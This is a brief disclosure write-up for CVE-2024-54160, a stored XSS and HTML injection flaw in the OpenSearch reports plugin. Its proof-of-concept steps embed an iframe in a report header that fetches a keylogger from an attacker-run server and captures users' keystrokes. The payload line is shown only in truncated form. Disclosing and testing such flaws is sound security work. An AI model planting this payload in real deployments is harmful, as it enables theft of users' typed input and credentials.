[CVE-2024-54160]-Opensearch-HTML-Injection + Stored XSS

It was found that the Opensearch plugin called "reports" was vulnerable to HTML-injection in version 2.18.0. The report functionality allowed users to store HTML in the header and footer while creating a new report definition. Below is a quick proof of concept where I stored an iframe in the header functionality that fetched a JavaScript keylogger from my local machine which recorded the keys typed by the user.

PoC

1. Edit the keylogger.html file and add a local IP which python3 http.server is running on.
2. Save the keylogger.html
3. Start the python3 server with "python3 -m http.server" in the same path as the keylogger.html file
4. Go to Reports
5. Fill the required fields
6. Select PDF
7. Enable header or footer
8. Enter the iframe payload -> :8000/keylogger.html">
9. Click "Preview" - The keylogger should be loaded from the python server
10. Type something on the keyboard and watch the response in the python server

Screenshot of the PoC in action

• The iframed content is rendered to the left (I know it's simple and ugly, but it works for a poc :) ).
• The logged keystrokes are shown to the right. (The keylogger PoC was not optimal since it missed some keystrokes though!)